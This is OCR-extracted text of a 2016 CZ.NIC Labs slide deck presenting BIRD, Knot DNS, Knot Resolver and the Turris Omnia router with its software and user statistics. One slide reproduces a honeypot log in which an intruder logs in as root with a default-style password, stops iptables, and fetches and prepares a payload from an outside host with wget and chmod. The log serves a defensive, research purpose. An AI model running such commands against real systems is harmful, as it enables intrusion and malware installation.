CZ.NIC Labs

and its projects

Martin Strbacka ¢ martin.strbacka@nic.cz * 12.05.2016
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Who we are and what we do e

e CZ.NIC is the operator of .CZ TLD domain
e Not-for-profit oranization
e Everything we do is open-source

- http://gitlab.labs.nic.cz/
e CZ.NIC Labs - projects for the good of the Internet

 BIRD routing daemon

e Knot DNS server

e Knot Resolver

e SOHO router Turris Omnia
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http://gitlab.labs.nic.cz/

Bird

e |P routing daemon
e Runs on

e Linux
e *BSD
e GPL license

e C language

e http://bird.network.cz/
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http://bird.network.cz/

Bird

e Supported protocols e Features
e |Pv4 & IPVv6 e Programmable filters
e BGP e Easy-to-understand config files
e RIP, RIPv2Z, RIPng e Automatic reconfiguration
e OSPF v2&v3 e (Good documentation
e BFD e Low CPU and memory

e Static routes requirements

e |Pv6 RA
e Babel
e PIPE

e More running instances

e Multiple routing tables
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Filter configuration

filter bgp _in
prefix set martians;

{
martians = [ 10.0.0.0/8, 172.16.0.0/12];

If net ~ martians then reject;
If bgp _path.len > 64 then reject;

accept;
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Bird
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BIRD in NIX.CZ

e AS112

e Linux & FreeBSD, IPv4 & IPv6
e About 130 BGP relations

e Filtration according to prefix and AS path

) NIX-CZ

e Reconfiguration every 2 hours
e 4M characters in config files
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Knot DNS server

KNOT
AR

e High-performance authoritative-only DNS server

e https://www.knot-dns.cz/
e Very high response rate

e https://www.knot-dns.cz/benchmark/
e Automatic and easy DNSSEC signing based on KASP

e Rapid on-the-fly re-con-fig-u-ra-tion
e Configuration format
e Simplified YAML
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https://www.knot-dns.cz/
https://www.knot-dns.cz/benchmark/

Significant users

e RIPE NCC (K-root, various TLDs)

e TLD operators (.cz, .dk, .cl)

e Microsoft

e Telefonica O2 Czech Republic

e Netriplex

e |CANN (test envirnoment for L-root)

e various webhosters
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Knot Resolver @ RESOLVER

https://www.knot-resolver.cz/
e DNS resolver

o Still in a beta state
e Extensive documentation

e http://knot-resolver.rtfd.org
e Platform for building recursive DNS service

e Full DNSSEC support

e RFC 6650 — ECDSA support
e RFC 5011 — Automated trust anchor management
e RFC 7646 — Negative Trust Anchors
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https://www.knot-resolver.cz/
http://knot-resolver.rtfd.org/

Knot Resolver

o Written in C and LuaJIT
e Uses Knot libraries

e Scriptable daemon with dynamic configuration
in Lua

e Supports modules written in C, Lua and Go

e Single thread application

e Shared caches (Imdb, memcached, redis)
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Knot Resolver - Who is it for?

e Large recursive DNS farms

e Flexible cache backends (Imdb, memcached, redis)
e Great statistics, metrics, and plotting with Graphite backend
e RFC 7646 Negative Trust Anchors

e Cluster-aware — etcd module for self-configuration

e Small recursors in private networks

e  QNAME minimisation for privacy
e DNSSEC and RFC5011 key management

e Low memory consumption

e Personal resolvers

Simple config-less operation (just give it a root.key and you are good to go)

Persistent caching (survives reloads/reboots)

Future: DNS/HTTP and dealing with “hotel wifis”
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Current status

* A beta phase of the project
* Give it a try!
e Sources: https://gitlab.labs.nic.cz/knot/resolver
Docker # docker run cznic/knot-resolver
e Linux packages
sudo add-apt-repository ppa:cz.nic-labs/knot-dns

sudo apt-get install knot-resolver
 Throw a strange DNS stuff on it

* Report back any oddities or success stories
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https://gitlab.labs.nic.cz/knot/resolver
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Motivation & history

Most of the SOHO routers have:

e slow&old hardware

e buggy software with security holes

In 2013 we started research project about SOHO networks
security — Project: Turris

CZ.NIC manufactured 2000 pcs of Turris routers

e Rented to Czech Internet users for 1 CZK / 3 years

Users share various data about their Internet connection with us

- HaaS, port scanning, unsuccessful connections, mini-pot, pings,
certificate-checks, flows

e Based on this data we improve users security
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Turris Omnia

e Hardware:

ARM Marvell Armada 385 @ 2 x 1.6 GHz

1-2 GB RAM

8 GB eMMC + 8 MB NOR

5 GHz + 2,4 GHz wifi

SFP port, 6x 1Gbit ethernet

2 x USB 3.0, 3 x miniPCle (+1 x mSATA & SIM slot)

Extension connector (10x GPIO, 1x 12C, 1x SPI, 2x UART) +
JTAG

RTC, crypto chip

e Open Hardware
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Internal network connection diagram

SoC

Port5 Port6

Switch-chip OR

Port0 Portl Port2 Port3 Portd

LANIJLAN2|LAN3JLAN4]JLANS ‘ SFP \
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Turris Omnia — Software

e TurrisOS

e Fork of OpenWrt
e > 3000 available packages
 Automatic updates

- ~ every month new release
- Security updates - anytime

e Poodle, Shellshock etc. — reaction time — 1-2 days
- Can be turned off

 Few other improvements
e Support for LXC containers

 https://gitlab.labs.nic.cz/groups/turris
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https://gitlab.labs.nic.cz/groups/turris

Software — Foris

ADMINISTRATION INTERFACE

OF ROUTER TURRIS wi - Fi
FORIS &
If you want to use your router as a Wi-Fi access point, enable Wi-Fi here and fill in an SSID (the name of the access
‘ Home page point) and a corresponding password. You can then set up your mobile devices, using the QR code available next to
the form.
‘ Password
‘ G Enable Wi-Fi C4
SsID | Tumis |
DNS
‘ Hide SSID 0@ E
‘ LAN Wi-Fi mode ©®24GHz(g)  5GHz(a) @ 5‘
‘ WiFi 802.11n mode ‘ Enabled (20 MHz wide channel) j@ .
Nety k ch 1 auto :l .
‘ Advanced administration
. owerkp | S O
Maintenance
‘ Updater Discard changes
‘ Data collection
‘ About

CZEIENG‘ Log out

@ PROJECT:TURRIS

ADMINISTRATION INTERFACE

'OF ROUTER TURRIS
FORIS ﬁo

Home page

to the Turris

Home page
Password

Wi-Fi
Advanced administration
Maintenance

Updater

Data collection

About
CZE!ENG‘ Log out

& FROJECT:TURRIS

ADMINISTRATION INTERFACE
'OF ROUTER TURRIS

FORIS &

Wi-Fi
Advanced administration
Maintenance

Updater

Data collection

About
CZE!ENG‘ Log out

Q FROJFCT:TURRIS

site. Please, choose a config section you wish to change from the menu.

LAN

This section contains settings for the local network (LAN). The provided defaults are suitable for most networks.

Note: If you change the router IP address, all in LAN, pi y il the one you are using now, will
need to obtain a new IP address which does not happen i iately. Itis to di: and

reconnect all LAN cables after submitting your changes to force the update. The next page will not load until you
obtain a new IP from DHCP (if DHCP enabled) and you might need to refresh the page in your browser.
Router IP address ‘ 192.168.1.A X‘ @

This is not a valid IPv4 address.
Enable DHCP 4 @
DHCP start ‘ 100 ‘
DHCP max leases ‘ 150 ‘

——

.. CZMNIC |



Software — Majordomo

Majordomo - monthly statistics (2014-11)
Go back to overview

Available daily statistics for this client are; 2014-11-14

e8:92:a4:98:95:74

Destination address Port/Protocol Count Packet Payload Count Packet Payload
(download) size size (upload) size size
(download) (download) (upload) (upload)
mail.nic.cz 143/TCP 744 543.72 KB 505.79 KB 908 83.82 3r7.43
KB KB
trubka.network.cz 993/ TCP 211 77.81 KB 67.02 KB 337 30.43 13.25
KB KB
ea-in-f95.1e100.neat 443/TCP 25 20.65 KB 19.36 KB 28 4B6 KB 3.22KB
fral7s27-in-f17.1e100.net 443/TCP 21 6. 78 KB 570KEB 29 427 KB 27T KB
ec2-54-183-216-231.us- 443/TCP 18 7.33 KB 6.41 KB 31 3B66KB  2.09KB

west- 1 .compute.amazonaws.com

ea-in-f188.1e100.net 5228/TCP 15 1.61 KB 848.00 B 28 2.91 KB 1.43 KB
d172ud.forpsi.com 80/TCP 14 1.77 KB 1.22 KB 33 2.12 KB 726.00
B
ber01s08-in-f7.1e100.net 443/TCP 11 577 KB 520 KB 18 3.70KB 2.77 KB
ec2-54-241-32-13.us 443/TCP 10 5.28 KB 478 KB 13 2.21 KB 1.54 KB

wesgt- 1 .computle amaZonaws . com
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Factory reset

e 2 storages * Factory reset
* NOR  Take a step back
- U-Boot » Rollback to the first
- Rescue Initramfs snapshot
image » Reflash from a USB
e EMMC drive
- TurrisOS e UnBrick

- Filesystéem BTRFS
e Boot from UART
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Joining the Project:Turris

* |t's up to you (opt-in

Statistics - Connection bandwidth - download

240 Mbps
- - . 4
200 Mops Statistics - IPv4 vs. IPV6 (size)
160 Mbps
20.09. Pyt
120 Mbps * 1-99 %:1.32 Mbps - 207 Mbps  Size: 118,812,923,231 B
® 25-75 %: 10.6 Mbps - 41.4 Mbps Pvd ~__
= Median: 22.1 Mbps
80.0 Mbps * Your maximum: 87.4 Mbps I Pv4 (118.81 GB - 95.90 %)
I [Pv6 (23.78 kB - 0.00 %)
0 IPv6 tunnel (5.08 GB - 4.10 %)
40.0 Mbps Nl
* IPvE tunnel
0bps
& & & & & & &
L'g 25.00 GB
Ii'mlm:ul:I TCP = | 22 Filter by date: 2015-09-22 Shown periud:‘ week 2 |
Popular ports: HTTP  Telnet HTTPS FTP DNS HTTP (alt) SMB 4/TCP  22022/TCP 20.00 GB
25k
15.00 GB
20k /\/\—/
10.00 GB
15k
5.00 GB
10k
0B - - - - - - ~
Saturday, Sep 10, 2015 @ & & &- @- @ &
Sk  Packets: 19752 3 & & 2 N G Wb
» Targets: 552
* Sources: 1651
o == |Pv4 == IPvE6 === IPvE tunnel
P & P P Ca P Ca
o & & o e & o
== Packets == Targets == Sources
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Joining the Project:Turris

e Passive bandwidth monitoring

100

= 60—70 Mbps:
= 30—40 Mbps:
# 19-20 Mbps:
& 1718 Mbps:
# 1516 Mbps:
# 13—14 Mbps:

4853 MB
52.60 MB
2439 MB
442 MB

11.85 MB
36.61 MB

= 40-50 Mbps: 32.11 MB
= 20—30 Mbps: 294 38 MB
* 18—19 Mbps=: 37.13 MB
s 16—17 Mbps: 20.63 MB
= 14—15 Mbps: 10.68 MB
= 12—13 Mbps=: 95.88 MB

#1112 Mbps: 277 BEMBE = 1011 Mbps: 32046 MB
#9-10 Mbps: 330.85 MB
# 7-8 Mbps: 342 88 MB
# 5—6 Mbps: 271.83 MB
# 3—4 Mbps: 185.33 MB
# 1-2 Mbps: 61.30 MB

« 500-750 kbps: 7.14 ME  + 250-500 kbps: 20.03 MB

# 0—250 kbps: 1.23 GB

+ 8—9 Mbps: 34525 MB
# 6—7 Mbps: 203 26 MB
# 4-5 Mbps: 23041 MB
# 2-3 Mbps: 9947 MB
* 750-1,000 kbps: 14 .38 MB

... CZMNIC
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Joining the Project:Turris

e Honeypot as a Service

e https://gitlab.labs.nic.cz/turris/cowrie-multiport

= e char Filter by date: 2016-03-23 Shown period: Day i ﬂ

ha

Time Remote address Commands

£ /D 190.179.143.25 : Show detail
B 193.201.227 .8 : Show detail
Bl 222.186.42.15 3y Show detail

3/23/2016 10:56 Bl 222 186.42.15 3
Login: root Password: admin123456
$ service iptables stop © Rejected O 3/23/2016 10:56:08
§ wget http://222.186.42.15:8080/1 ﬂﬂmepted @ 3/29/2016 10:56:12
$ chmod 0732 /root/1 © Accepted @ 3/23/2016 10:56:16

Duration: [session not closed properly]

= 186.128.59.108S Show detall
= 181.25.22.55 : Show detail
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https://gitlab.labs.nic.cz/turris/cowrie-multiport

Funding - inbiecoco [m] F#:[m]

a
e Crowdfunding campaign on Indiegogo [=]

e http://igg.me/at/turris-omnia
e Target — USD 100 000

e Fulfilled in less than 24 hours
e \WWhen the campaign ended we had USD 850 000

 We are still running the campaign in the in-demand
mode

e Now we have > USD 1 100 000
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http://igg.me/at/turris-omnia

Thank You

Martin Strbacka ¢ martin.strbacka@nic.cz

NN < & 1| JE



	Slide 1
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13
	Slide 14
	Slide 15
	Slide 16
	Slide 17
	Slide 18
	Slide 19
	Slide 20
	Slide 21
	Slide 22
	Slide 23
	Slide 24
	Slide 25
	Slide 26

